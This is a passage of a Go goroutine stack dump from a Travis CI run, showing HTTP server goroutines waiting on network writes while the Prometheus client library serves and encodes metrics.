	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1543 +0x56
github.com/prometheus/client_golang/prometheus.(*responseWriterDelegator).Write(0xc01e617d60, 0xc025a4e000, 0x72a8a, 0x97f10, 0x0, 0x0, 0x0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:347 +0x5b
github.com/prometheus/client_golang/prometheus.UninstrumentedHandler.func1(0x88d4c0, 0xc00000ef48, 0xc004a12f00)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:107 +0x555
net/http.HandlerFunc.ServeHTTP(0x8207d8, 0x88d4c0, 0xc00000ef48, 0xc004a12f00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
github.com/prometheus/client_golang/prometheus.InstrumentHandlerFuncWithOpts.func1(0x88da80, 0xc02121e9a0, 0xc004a12f00)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:282 +0x22f
net/http.HandlerFunc.ServeHTTP(0xc00006ad20, 0x88da80, 0xc02121e9a0, 0xc004a12f00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
net/http.(*ServeMux).ServeHTTP(0xb13800, 0x88da80, 0xc02121e9a0, 0xc004a12f00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2375 +0x1d6
net/http.serverHandler.ServeHTTP(0xc00005f450, 0x88da80, 0xc02121e9a0, 0xc004a12f00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2774 +0xab
net/http.(*conn).serve(0xc00742c280, 0x88ea00, 0xc01a0dd700)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1878 +0x84c
created by net/http.(*Server).Serve
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2884 +0x2f4

goroutine 21921 [IO wait, 4 minutes]:
internal/poll.runtime_pollWait(0x7f506e4ad5d0, 0x77, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/runtime/netpoll.go:182 +0x56
internal/poll.(*pollDesc).wait(0xc0171df598, 0x77, 0x5cb00, 0x82791, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:87 +0x9b
internal/poll.(*pollDesc).waitWrite(...)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:96
internal/poll.(*FD).Write(0xc0171df580, 0xc01ae4cf6f, 0x7134c, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_unix.go:276 +0x26e
net.(*netFD).Write(0xc0171df580, 0xc01ae4cf6f, 0x7134c, 0x96fa1, 0x1000, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/fd_unix.go:220 +0x4f
net.(*conn).Write(0xc00000e748, 0xc01ae4cf6f, 0x7134c, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/net.go:189 +0x69
net/http.checkConnErrorWriter.Write(0xc000065ae0, 0xc01ae4cf6f, 0x7134c, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:3376 +0x56
bufio.(*Writer).Write(0xc01bd37f80, 0xc01ae4cf6f, 0x7134c, 0x96fa1, 0x1, 0xc007124f00, 0x3)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*chunkWriter).Write(0xc0015ef7d8, 0xc01ae4c000, 0x722bb, 0x97f10, 0xc01c5e3898, 0x642e8e, 0xc000065b68)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:382 +0x97
bufio.(*Writer).Write(0xc006f62040, 0xc01ae4c000, 0x722bb, 0x97f10, 0x0, 0x0, 0x7f506ee35c70)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*response).write(0xc0015ef7a0, 0x722bb, 0xc01ae4c000, 0x722bb, 0x97f10, 0x0, 0x0, 0x4126c4, 0xc01c5e3a40, 0x4e4537b6)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1574 +0x29f
net/http.(*response).Write(0xc0015ef7a0, 0xc01ae4c000, 0x722bb, 0x97f10, 0x77d4c0, 0xc01d465d01, 0xc00497d1e0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1543 +0x56
github.com/prometheus/client_golang/prometheus.(*responseWriterDelegator).Write(0xc004f40be0, 0xc01ae4c000, 0x722bb, 0x97f10, 0x0, 0x0, 0x0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:347 +0x5b
github.com/prometheus/client_golang/prometheus.UninstrumentedHandler.func1(0x88d4c0, 0xc00000e750, 0xc004943200)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:107 +0x555
net/http.HandlerFunc.ServeHTTP(0x8207d8, 0x88d4c0, 0xc00000e750, 0xc004943200)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
github.com/prometheus/client_golang/prometheus.InstrumentHandlerFuncWithOpts.func1(0x88da80, 0xc0015ef7a0, 0xc004943200)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:282 +0x22f
net/http.HandlerFunc.ServeHTTP(0xc00006ad20, 0x88da80, 0xc0015ef7a0, 0xc004943200)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
net/http.(*ServeMux).ServeHTTP(0xb13800, 0x88da80, 0xc0015ef7a0, 0xc004943200)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2375 +0x1d6
net/http.serverHandler.ServeHTTP(0xc00005f450, 0x88da80, 0xc0015ef7a0, 0xc004943200)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2774 +0xab
net/http.(*conn).serve(0xc000065ae0, 0x88ea00, 0xc01bd37f40)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1878 +0x84c
created by net/http.(*Server).Serve
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2884 +0x2f4

goroutine 21890 [IO wait, 4 minutes]:
internal/poll.runtime_pollWait(0x7f506e4ad840, 0x77, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/runtime/netpoll.go:182 +0x56
internal/poll.(*pollDesc).wait(0xc0171de098, 0x77, 0x5ca00, 0x82791, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:87 +0x9b
internal/poll.(*pollDesc).waitWrite(...)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:96
internal/poll.(*FD).Write(0xc0171de080, 0xc021cf8f6f, 0x7126a, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_unix.go:276 +0x26e
net.(*netFD).Write(0xc0171de080, 0xc021cf8f6f, 0x7126a, 0x96fa1, 0x1000, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/fd_unix.go:220 +0x4f
net.(*conn).Write(0xc00000e100, 0xc021cf8f6f, 0x7126a, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/net.go:189 +0x69
net/http.checkConnErrorWriter.Write(0xc000065a40, 0xc021cf8f6f, 0x7126a, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:3376 +0x56
bufio.(*Writer).Write(0xc01995f980, 0xc021cf8f6f, 0x7126a, 0x96fa1, 0x1, 0xc007125200, 0x3)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*chunkWriter).Write(0xc0015ef458, 0xc021cf8000, 0x721d9, 0x97f10, 0xc009287898, 0x642e8e, 0xc000065ac8)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:382 +0x97
bufio.(*Writer).Write(0xc01995fa80, 0xc021cf8000, 0x721d9, 0x97f10, 0x0, 0x0, 0xc0000869a0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*response).write(0xc0015ef420, 0x721d9, 0xc021cf8000, 0x721d9, 0x97f10, 0x0, 0x0, 0x4126c4, 0xc009287a40, 0x7df912ce)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1574 +0x29f
net/http.(*response).Write(0xc0015ef420, 0xc021cf8000, 0x721d9, 0x97f10, 0x77d4c0, 0xc0205c7801, 0xc00497c580)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1543 +0x56
github.com/prometheus/client_golang/prometheus.(*responseWriterDelegator).Write(0xc01e616d70, 0xc021cf8000, 0x721d9, 0x97f10, 0x0, 0x0, 0x0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:347 +0x5b
github.com/prometheus/client_golang/prometheus.UninstrumentedHandler.func1(0x88d4c0, 0xc00000e108, 0xc004942400)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:107 +0x555
net/http.HandlerFunc.ServeHTTP(0x8207d8, 0x88d4c0, 0xc00000e108, 0xc004942400)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
github.com/prometheus/client_golang/prometheus.InstrumentHandlerFuncWithOpts.func1(0x88da80, 0xc0015ef420, 0xc004942400)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:282 +0x22f
net/http.HandlerFunc.ServeHTTP(0xc00006ad20, 0x88da80, 0xc0015ef420, 0xc004942400)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
net/http.(*ServeMux).ServeHTTP(0xb13800, 0x88da80, 0xc0015ef420, 0xc004942400)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2375 +0x1d6
net/http.serverHandler.ServeHTTP(0xc00005f450, 0x88da80, 0xc0015ef420, 0xc004942400)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2774 +0xab
net/http.(*conn).serve(0xc000065a40, 0x88ea00, 0xc01995f940)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1878 +0x84c
created by net/http.(*Server).Serve
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2884 +0x2f4

goroutine 21998 [IO wait, 2 minutes]:
internal/poll.runtime_pollWait(0x7f506e4ad290, 0x77, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/runtime/netpoll.go:182 +0x56
internal/poll.(*pollDesc).wait(0xc0000c3c18, 0x77, 0x5ce00, 0x82791, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:87 +0x9b
internal/poll.(*pollDesc).waitWrite(...)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:96
internal/poll.(*FD).Write(0xc0000c3c00, 0xc018e28f6f, 0x71618, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_unix.go:276 +0x26e
net.(*netFD).Write(0xc0000c3c00, 0xc018e28f6f, 0x71618, 0x96fa1, 0x1000, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/fd_unix.go:220 +0x4f
net.(*conn).Write(0xc00000e590, 0xc018e28f6f, 0x71618, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/net.go:189 +0x69
net/http.checkConnErrorWriter.Write(0xc000065ea0, 0xc018e28f6f, 0x71618, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:3376 +0x56
bufio.(*Writer).Write(0xc01810df80, 0xc018e28f6f, 0x71618, 0x96fa1, 0x1, 0xc007125380, 0x3)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*chunkWriter).Write(0xc0015efb58, 0xc018e28000, 0x72587, 0x97f10, 0xc0065e5898, 0x642e8e, 0xc000065f28)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:382 +0x97
bufio.(*Writer).Write(0xc0026ecd80, 0xc018e28000, 0x72587, 0x97f10, 0x0, 0x0, 0xc000086fd0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*response).write(0xc0015efb20, 0x72587, 0xc018e28000, 0x72587, 0x97f10, 0x0, 0x0, 0x4126c4, 0xc0065e5a40, 0xeed39aca)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1574 +0x29f
net/http.(*response).Write(0xc0015efb20, 0xc018e28000, 0x72587, 0x97f10, 0x77d4c0, 0xc016cb6c01, 0xc002a76c60)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1543 +0x56
github.com/prometheus/client_golang/prometheus.(*responseWriterDelegator).Write(0xc0073ff720, 0xc018e28000, 0x72587, 0x97f10, 0x0, 0x0, 0x0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:347 +0x5b
github.com/prometheus/client_golang/prometheus.UninstrumentedHandler.func1(0x88d4c0, 0xc00000e598, 0xc00d263800)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:107 +0x555
net/http.HandlerFunc.ServeHTTP(0x8207d8, 0x88d4c0, 0xc00000e598, 0xc00d263800)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
github.com/prometheus/client_golang/prometheus.InstrumentHandlerFuncWithOpts.func1(0x88da80, 0xc0015efb20, 0xc00d263800)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:282 +0x22f
net/http.HandlerFunc.ServeHTTP(0xc00006ad20, 0x88da80, 0xc0015efb20, 0xc00d263800)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
net/http.(*ServeMux).ServeHTTP(0xb13800, 0x88da80, 0xc0015efb20, 0xc00d263800)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2375 +0x1d6
net/http.serverHandler.ServeHTTP(0xc00005f450, 0x88da80, 0xc0015efb20, 0xc00d263800)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2774 +0xab
net/http.(*conn).serve(0xc000065ea0, 0x88ea00, 0xc01810df40)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1878 +0x84c
created by net/http.(*Server).Serve
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2884 +0x2f4

goroutine 22370 [runnable]:
github.com/prometheus/client_golang/prometheus.(*MetricVec).Collect(0xc000048fc0, 0xc01b56bbc0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/vec.go:70 +0x13a
github.com/prometheus/client_golang/prometheus.(*Registry).Gather.func2(0xc027194a60, 0xc01b56bbc0, 0x88a0c0, 0xc00000e298)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/registry.go:433 +0x61
created by github.com/prometheus/client_golang/prometheus.(*Registry).Gather
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/registry.go:431 +0x2e9

goroutine 22117 [IO wait, 1 minutes]:
internal/poll.runtime_pollWait(0x7f506e179210, 0x77, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/runtime/netpoll.go:182 +0x56
internal/poll.(*pollDesc).wait(0xc0193c3218, 0x77, 0x5d200, 0x82791, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:87 +0x9b
internal/poll.(*pollDesc).waitWrite(...)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:96
internal/poll.(*FD).Write(0xc0193c3200, 0xc02488af6f, 0x71ac1, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_unix.go:276 +0x26e
net.(*netFD).Write(0xc0193c3200, 0xc02488af6f, 0x71ac1, 0x96fa1, 0x1000, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/fd_unix.go:220 +0x4f
net.(*conn).Write(0xc00000e938, 0xc02488af6f, 0x71ac1, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/net.go:189 +0x69
net/http.checkConnErrorWriter.Write(0xc00742c1e0, 0xc02488af6f, 0x71ac1, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:3376 +0x56
bufio.(*Writer).Write(0xc01928d480, 0xc02488af6f, 0x71ac1, 0x96fa1, 0x1, 0xc007125680, 0x3)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*chunkWriter).Write(0xc02121e818, 0xc02488a000, 0x72a30, 0x97f10, 0xc024879898, 0x642e8e, 0xc00742c268)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:382 +0x97
bufio.(*Writer).Write(0xc01928d540, 0xc02488a000, 0x72a30, 0x97f10, 0x0, 0x0, 0xc000087550)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*response).write(0xc02121e7e0, 0x72a30, 0xc02488a000, 0x72a30, 0x97f10, 0x0, 0x0, 0x4126c4, 0xc024879a40, 0xe600656f)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1574 +0x29f
net/http.(*response).Write(0xc02121e7e0, 0xc02488a000, 0x72a30, 0x97f10, 0x77d4c0, 0xc021c3b701, 0xc004b5e580)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1543 +0x56
github.com/prometheus/client_golang/prometheus.(*responseWriterDelegator).Write(0xc01e6165a0, 0xc02488a000, 0x72a30, 0x97f10, 0x0, 0x0, 0x0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:347 +0x5b
github.com/prometheus/client_golang/prometheus.UninstrumentedHandler.func1(0x88d4c0, 0xc00000e940, 0xc011811b00)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:107 +0x555
net/http.HandlerFunc.ServeHTTP(0x8207d8, 0x88d4c0, 0xc00000e940, 0xc011811b00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
github.com/prometheus/client_golang/prometheus.InstrumentHandlerFuncWithOpts.func1(0x88da80, 0xc02121e7e0, 0xc011811b00)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:282 +0x22f
net/http.HandlerFunc.ServeHTTP(0xc00006ad20, 0x88da80, 0xc02121e7e0, 0xc011811b00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
net/http.(*ServeMux).ServeHTTP(0xb13800, 0x88da80, 0xc02121e7e0, 0xc011811b00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2375 +0x1d6
net/http.serverHandler.ServeHTTP(0xc00005f450, 0x88da80, 0xc02121e7e0, 0xc011811b00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2774 +0xab
net/http.(*conn).serve(0xc00742c1e0, 0x88ea00, 0xc01928d440)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1878 +0x84c
created by net/http.(*Server).Serve
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2884 +0x2f4

goroutine 22323 [runnable]:
github.com/prometheus/common/expfmt.MetricFamilyToText(0x886700, 0xc00c643810, 0xc0189475e0, 0xb48ab, 0x0, 0x0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/expfmt/text_create.go:111 +0x11ca
github.com/prometheus/common/expfmt.NewEncoder.func4(0xc0189475e0, 0x0, 0x0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/expfmt/encode.go:83 +0x3d
github.com/prometheus/common/expfmt.encoder.Encode(0xc0194a4be0, 0xc0189475e0, 0x0, 0x0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/expfmt/encode.go:36 +0x30
github.com/prometheus/client_golang/prometheus.UninstrumentedHandler.func1(0x88d4c0, 0xc00000f190, 0xc011810100)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:88 +0x1d1
net/http.HandlerFunc.ServeHTTP(0x8207d8, 0x88d4c0, 0xc00000f190, 0xc011810100)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
github.com/prometheus/client_golang/prometheus.InstrumentHandlerFuncWithOpts.func1(0x88da80, 0xc02121efc0, 0xc011810100)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:282 +0x22f
net/http.HandlerFunc.ServeHTTP(0xc00006ad20, 0x88da80, 0xc02121efc0, 0xc011810100)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
net/http.(*ServeMux).ServeHTTP(0xb13800, 0x88da80, 0xc02121efc0, 0xc011810100)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2375 +0x1d6
net/http.serverHandler.ServeHTTP(0xc00005f450, 0x88da80, 0xc02121efc0, 0xc011810100)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2774 +0xab
net/http.(*conn).serve(0xc00742c820, 0x88ea00, 0xc00b9e3780)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1878 +0x84c
created by net/http.(*Server).Serve
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2884 +0x2f4

goroutine 22065 [IO wait, 1 minutes]:
internal/poll.runtime_pollWait(0x7f506e1793b0, 0x77, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/runtime/netpoll.go:182 +0x56
internal/poll.(*pollDesc).wait(0xc0193c3818, 0x77, 0x5d100, 0x82791, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:87 +0x9b
internal/poll.(*pollDesc).waitWrite(...)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:96
internal/poll.(*FD).Write(0xc0193c3800, 0xc021162f6f, 0x71933, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_unix.go:276 +0x26e
net.(*netFD).Write(0xc0193c3800, 0xc021162f6f, 0x71933, 0x96fa1, 0x1000, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/fd_unix.go:220 +0x4f
net.(*conn).Write(0xc00000f450, 0xc021162f6f, 0x71933, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/net.go:189 +0x69
net/http.checkConnErrorWriter.Write(0xc00742c0a0, 0xc021162f6f, 0x71933, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:3376 +0x56
bufio.(*Writer).Write(0xc00cf36d80, 0xc021162f6f, 0x71933, 0x96fa1, 0x1, 0xc007125980, 0x3)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*chunkWriter).Write(0xc02121e498, 0xc021162000, 0x728a2, 0x97f10, 0xc0065df898, 0x642e8e, 0xc00742c128)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:382 +0x97
bufio.(*Writer).Write(0xc00cf36e80, 0xc021162000, 0x728a2, 0x97f10, 0x0, 0x0, 0x7f506f24b700)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*response).write(0xc02121e460, 0x728a2, 0xc021162000, 0x728a2, 0x97f10, 0x0, 0x0, 0x412890, 0xc0065dfa40, 0x1335e3e7)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1574 +0x29f
net/http.(*response).Write(0xc02121e460, 0xc021162000, 0x728a2, 0x97f10, 0x77d4c0, 0xa8, 0xa9)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1543 +0x56
github.com/prometheus/client_golang/prometheus.(*responseWriterDelegator).Write(0xc0079faa00, 0xc021162000, 0x728a2, 0x97f10, 0x0, 0x0, 0x0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:347 +0x5b
github.com/prometheus/client_golang/prometheus.UninstrumentedHandler.func1(0x88d4c0, 0xc00000f458, 0xc007013f00)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:107 +0x555
net/http.HandlerFunc.ServeHTTP(0x8207d8, 0x88d4c0, 0xc00000f458, 0xc007013f00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
github.com/prometheus/client_golang/prometheus.InstrumentHandlerFuncWithOpts.func1(0x88da80, 0xc02121e460, 0xc007013f00)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:282 +0x22f
net/http.HandlerFunc.ServeHTTP(0xc00006ad20, 0x88da80, 0xc02121e460, 0xc007013f00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
net/http.(*ServeMux).ServeHTTP(0xb13800, 0x88da80, 0xc02121e460, 0xc007013f00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2375 +0x1d6
net/http.serverHandler.ServeHTTP(0xc00005f450, 0x88da80, 0xc02121e460, 0xc007013f00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2774 +0xab
net/http.(*conn).serve(0xc00742c0a0, 0x88ea00, 0xc00cf36d40)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1878 +0x84c
created by net/http.(*Server).Serve
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2884 +0x2f4

goroutine 22369 [runnable]:
github.com/prometheus/client_golang/prometheus.(*MetricVec).Collect(0xc000048ec0, 0xc01b56bbc0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/vec.go:70 +0x13a
github.com/prometheus/client_golang/prometheus.(*Registry).Gather.func2(0xc027194a60, 0xc01b56bbc0, 0x88a040, 0xc00000e278)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/registry.go:433 +0x61
created by github.com/prometheus/client_golang/prometheus.(*Registry).Gather
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/registry.go:431 +0x2e9

goroutine 22190 [runnable]:
github.com/prometheus/common/expfmt.writeSample(0xc027f352c0, 0x2d, 0xc00cca6600, 0x0, 0x0, 0x0, 0x0, 0x3fa3f7ced916872b, 0x886700, 0xc00c642790, ...)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/expfmt/text_create.go:199 +0x418
github.com/prometheus/common/expfmt.MetricFamilyToText(0x886700, 0xc00c642790, 0xc0022105f0, 0x39751c, 0x0, 0x0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/expfmt/text_create.go:168 +0xcbe
github.com/prometheus/common/expfmt.NewEncoder.func4(0xc0022105f0, 0x0, 0x0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/expfmt/encode.go:83 +0x3d
github.com/prometheus/common/expfmt.encoder.Encode(0xc00f270dc0, 0xc0022105f0, 0x0, 0x0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/expfmt/encode.go:36 +0x30
github.com/prometheus/client_golang/prometheus.UninstrumentedHandler.func1(0x88d4c0, 0xc00000e838, 0xc011810600)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:88 +0x1d1
net/http.HandlerFunc.ServeHTTP(0x8207d8, 0x88d4c0, 0xc00000e838, 0xc011810600)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
github.com/prometheus/client_golang/prometheus.InstrumentHandlerFuncWithOpts.func1(0x88da80, 0xc0015efea0, 0xc011810600)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:282 +0x22f
net/http.HandlerFunc.ServeHTTP(0xc00006ad20, 0x88da80, 0xc0015efea0, 0xc011810600)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
net/http.(*ServeMux).ServeHTTP(0xb13800, 0x88da80, 0xc0015efea0, 0xc011810600)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2375 +0x1d6
net/http.serverHandler.ServeHTTP(0xc00005f450, 0x88da80, 0xc0015efea0, 0xc011810600)
